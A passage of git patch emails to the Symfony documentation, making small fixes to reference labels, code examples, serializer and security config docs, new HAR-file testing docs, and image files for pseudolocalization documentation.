From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jul 2023 12:40:33 +0200
Subject: [PATCH 4901/7107] Restore some internal references

---
 best_practices.rst        | 1 +
 components/serializer.rst | 1 +
 page_creation.rst         | 1 +
 security.rst              | 1 +
 4 files changed, 4 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index e22238f9f52..6541ac3ed02 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -223,6 +223,7 @@ controllers shouldn't contain any business logic. Controllers should contain
 nothing more than a few lines of *glue-code*, so you are not coupling the
 important parts of your application.
 
+.. _best-practice-controller-annotations:
 .. _best-practice-controller-attributes:
 
 Use Attributes to Configure Routing, Caching, and Security
diff --git a/components/serializer.rst b/components/serializer.rst
index 4902d883935..9c1fcd5e621 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -288,6 +288,7 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
+.. _component-serializer-attributes-groups-annotations:
 .. _component-serializer-attributes-groups-attributes:
 
 Then, create your groups definition:
diff --git a/page_creation.rst b/page_creation.rst
index 7bd25babeba..7c3159c3c14 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -55,6 +55,7 @@ random) number and prints it. To do that, create a "Controller" class and a
         }
     }
 
+.. _annotation-routes:
 .. _attribute-routes:
 
 Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
diff --git a/security.rst b/security.rst
index 098ce6d5d65..eb60ec0d1cf 100644
--- a/security.rst
+++ b/security.rst
@@ -2316,6 +2316,7 @@ will happen:
    be shown the 403 access denied page (which you can
    :ref:`customize <controller-error-pages-by-status-code>`).
 
+.. _security-securing-controller-annotations:
 .. _security-securing-controller-attributes:
 
 Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.

From d2e78f1fb9d2de51dc3d8b59210d12971ceeb11b Mon Sep 17 00:00:00 2001
From: Marco Wansinck <marco@webstack.nl>
Date: Fri, 21 Jul 2023 22:43:59 +0200
Subject: [PATCH 4902/7107] Corrected return type of anonymous functions

---
 components/console/helpers/questionhelper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 0f8aa5f08c3..693bcf5160c 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -217,7 +217,7 @@ provide a callback function to dynamically generate suggestions::
             // where files and dirs can be found
             $foundFilesAndDirs = @scandir($inputPath) ?: [];
 
-            return array_map(function (string $dirOrFile) use ($inputPath): void {
+            return array_map(function (string $dirOrFile) use ($inputPath): string {
                 return $inputPath.$dirOrFile;
             }, $foundFilesAndDirs);
         };
@@ -462,7 +462,7 @@ You can also use a validator with a hidden question::
         $question->setNormalizer(function (?string $value): string {
             return $value ?? '';
         });
-        $question->setValidator(function (string $value): void {
+        $question->setValidator(function (string $value): string {
             if ('' === trim($value)) {
                 throw new \Exception('The password cannot be empty');
             }

From ebcd901dc315250a5154ce7c609628ab5cb4ca5c Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Sun, 23 Jul 2023 12:09:03 +0100
Subject: [PATCH 4903/7107] Fix Method 'getException' not found in
 ExceptionEvent

The 'getException' method is not in ExceptionEvent and should be getThrowable.
---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6955d36a205..2f485666ebc 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -178,7 +178,7 @@ events directly from the kernel, again it will be registered automatically::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            if ($event->getException() instanceof Danger) {
+            if ($event->getThrowable() instanceof Danger) {
                 $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔'));
             }
         }

From dba67946c6194ef19a3f36e5cca1f7ad75357925 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jul 2023 09:05:32 +0200
Subject: [PATCH 4904/7107] Backport #18598 to 5.4

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 185d301a657..8a8d8795bb2 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -124,7 +124,7 @@ events directly from the kernel, again it will be registered automatically::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            if ($event->getException() instanceof Danger) {
+            if ($event->getThrowable() instanceof Danger) {
                 $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔'));
             }
         }

From d40a7ceda7b82b4a6e0e137bacbce04c45661d49 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 11:47:50 +0200
Subject: [PATCH 4905/7107] [Config] Improve adding support for XML format

---
 configuration.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 84d4340d6b4..de422446e61 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -75,7 +75,11 @@ readable. These are the main advantages and disadvantages of each format:
 
     By default Symfony loads the configuration files defined in YAML and PHP
     formats. If you define configuration in XML format, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` file extension.
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Kernel\\MicroKernelTrait::configureContainer`
+    and/or
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Kernel\\MicroKernelTrait::configureRoutes`
+    methods in the ``src/Kernel.php`` file to add support for the ``.xml`` file
+    extension.
 
     .. versionadded:: 6.1
 
@@ -855,7 +859,7 @@ In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
     # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
-        
+
 Then, run the command:
 
 .. code-block:: terminal

From 0fd8f8fa532a3bafed52504670f4ad339b34a712 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 24 Jul 2023 14:21:18 +0200
Subject: [PATCH 4906/7107] [Serializer] Custom normalizer update

---
 serializer/custom_normalizer.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 25528fff54e..58e6ef2d075 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -12,7 +12,10 @@ Creating a New Normalizer
 Imagine you want add, modify, or remove some properties during the serialization
 process. For that you'll have to create your own normalizer. But it's usually
 preferable to let Symfony normalize the object, then hook into the normalization
-to customize the normalized data. To do that, leverage the ``ObjectNormalizer``::
+to customize the normalized data. To do that, leverage the
+``NormalizerAwareInterface`` and the ``NormalizerAwareTrait``. This will give
+you access to a ``$normalizer`` property which takes care of most of the
+normalization process::
 
     // src/Serializer/TopicNormalizer.php
     namespace App\Serializer;
@@ -20,13 +23,13 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
     use App\Entity\Topic;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-    class TopicNormalizer implements NormalizerInterface
+    class TopicNormalizer implements NormalizerInterface, NormalizerAwareInterface
     {
+        use NormalizerAwareTrait;
+
         public function __construct(
             private UrlGeneratorInterface $router,
-            private ObjectNormalizer $normalizer,
         ) {
         }
 

From 8b2d944763a8664eef04fc7bb924b25c590ac765 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 24 Jul 2023 14:25:41 +0200
Subject: [PATCH 4907/7107] [Serializer] Custom normalizer deprecation

---
 serializer/custom_normalizer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5b70acecdb5..7a2d48660ea 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,6 +48,15 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
+.. deprecated:: 6.4
+
+    Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
+    since Symfony 6.4. Implement the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
+    and use the the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
+    to inject the ``$normalizer`` property.
+
 Registering it in your Application
 ----------------------------------
 

From 4927b6e38bf0cf6aefc1ddf50e5a15b92e583cd2 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 15:45:26 +0200
Subject: [PATCH 4908/7107] [Security] Remove deprecated XML config

---
 security/custom_authenticator.rst | 2 +-
 security/entry_point.rst          | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index d9debbb1fb0..f2d7fb57c14 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -105,7 +105,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config enable-authenticator-manager="true">
+            <config>
                 <!-- ... -->
 
                 <firewall name="main">
diff --git a/security/entry_point.rst b/security/entry_point.rst
index e99a4039fcb..b23f45db957 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -42,7 +42,7 @@ You can configure this using the ``entry_point`` setting:
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config enable-authenticator-manager="true">
+            <config>
                 <!-- ... -->
 
                 <!-- entry-point: configure the form authentication as the entry

From f4da7ee9a255d99d05dbb54db9be6d20de743bac Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 15:59:11 +0200
Subject: [PATCH 4909/7107] Fix a typo making CI red

---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 7a2d48660ea..31fd0b7680b 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -53,7 +53,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
     Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
     since Symfony 6.4. Implement the
     :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
-    and use the the
+    and use the
     :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
     to inject the ``$normalizer`` property.
 

From 948966d788aeac087f387fe972d6fa8c63e4a162 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Mon, 10 Jul 2023 09:30:03 +0200
Subject: [PATCH 4910/7107] [HTTPClient] Add documentation for
 `HarFileResponseFactory`

Fixes https://github.com/symfony/symfony-docs/issues/18546
---
 http_client.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3dd9e867bc1..c11bde2d15c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,6 +2196,45 @@ test it in a real application::
         }
     }
 
+Testing using HAR files
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
+HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $fixtureDir = sprintf('%s/tests/fixtures/HTTP', static::getContainer()->getParameter('kernel.project_dir'));
+            $factory = new HarFileResponseFactory("$fixtureDir/example.com_archive.har");
+            $httpClient = new MockHttpClient($factory, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame($responseData, 'the expected response');
+        }
+    }
+
+
+If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
+the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
+the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
+(if it contains current date or random UUID(s) for example).
+
+.. versionadded:: 7.0
+
+    The ``HarFileResponseFactory`` was introduced in Symfony 7.0.
+
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2262,3 +2301,4 @@ you to do so, by yielding the exception from its body::
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
 .. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570
+.. _`HAR`: https://w3c.github.io/web-performance/specs/HAR/Overview.html

From 8385108418b839a7d4420b90e3c4f499e5de1970 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 16:40:56 +0200
Subject: [PATCH 4911/7107] [HttpClient] fix version added for HAR files
 feature

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index c11bde2d15c..41cc4b90fc8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2231,9 +2231,9 @@ the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will f
 the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
 (if it contains current date or random UUID(s) for example).
 
-.. versionadded:: 7.0
+.. versionadded:: 6.4
 
-    The ``HarFileResponseFactory`` was introduced in Symfony 7.0.
+    The ``HarFileResponseFactory`` was introduced in Symfony 6.4.
 
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From e0808526821c4d04f1dcb4152da74bf0bb62028f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jul 2023 17:20:25 +0200
Subject: [PATCH 4912/7107] Minor reword

---
 http_client.rst | 20 ++++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 41cc4b90fc8..9cbf63f9876 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,11 +2196,15 @@ test it in a real application::
         }
     }
 
-Testing using HAR files
+Testing Using HAR Files
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
-HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+Modern browsers (via their network tab) and HTTP clients allow to export the
+information of one or more HTTP requests using the `HAR`_ (HTTP Archive) format.
+You can use those ``.har`` files to perform tests with Symfony's HTTP Client.
+
+First, use a browser or HTTP client to perform the HTTP request(s) you want to
+test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2225,11 +2229,11 @@ HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HT
         }
     }
 
-
-If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
-the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
-the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
-(if it contains current date or random UUID(s) for example).
+If your service performs multiple requests or if your ``.har`` file contains multiple
+request/response pairs, the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory`
+will find the associated response based on the request method, URL and body (if any).
+Note that **this won't work** if the request body or URI is random / always
+changing (e.g. if it contains current date or random UUIDs).
 
 .. versionadded:: 6.4
 

From 9168b9da6279bb0ab166cc14f654d67185664670 Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Mon, 24 Jul 2023 22:03:10 +0100
Subject: [PATCH 4913/7107] [micro_kernel] Fix deleted method
 AnnotationRegistry::registerLoader

[Dropping AnnotationRegistry completely, relying on native autoloading instead](https://github.com/doctrine/annotations/pull/205)
---
 configuration/micro_kernel_trait.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 8a8d8795bb2..5940b918183 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -328,12 +328,9 @@ Finally, you need a front controller to boot and run the application. Create a
 
     // public/index.php
     use App\Kernel;
-    use Doctrine\Common\Annotations\AnnotationRegistry;
     use Symfony\Component\HttpFoundation\Request;
 
-    $loader = require __DIR__.'/../vendor/autoload.php';
-    // auto-load annotations
-    AnnotationRegistry::registerLoader([$loader, 'loadClass']);
+    require __DIR__.'/../vendor/autoload.php';
 
     $kernel = new Kernel('dev', true);
     $request = Request::createFromGlobals();

From 1ee41e8b868f344edd9992043596e0ca2fdbac82 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 24 Jul 2023 09:58:48 +0200
Subject: [PATCH 4914/7107] [Translation] Add docs for pseudolocalization
 translator

---
 .../pseudolocalization-interface-original.png | Bin 0 -> 5051 bytes
 ...seudolocalization-interface-translated.png | Bin 0 -> 5739 bytes
 ...eudolocalization-symfony-demo-disabled.png | Bin 0 -> 66509 bytes
 ...seudolocalization-symfony-demo-enabled.png | Bin 0 -> 80487 bytes
 translation.rst                               | 134 +++++++++++++++++-
 5 files changed, 133 insertions(+), 1 deletion(-)
 create mode 100644 _images/translation/pseudolocalization-interface-original.png
 create mode 100644 _images/translation/pseudolocalization-interface-translated.png
 create mode 100644 _images/translation/pseudolocalization-symfony-demo-disabled.png
 create mode 100644 _images/translation/pseudolocalization-symfony-demo-enabled.png

diff --git a/_images/translation/pseudolocalization-interface-original.png b/_images/translation/pseudolocalization-interface-original.png
new file mode 100644
index 0000000000000000000000000000000000000000..d89f4e63a241a47a58581e109063c451c8ad15c7
GIT binary patch
literal 5051
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
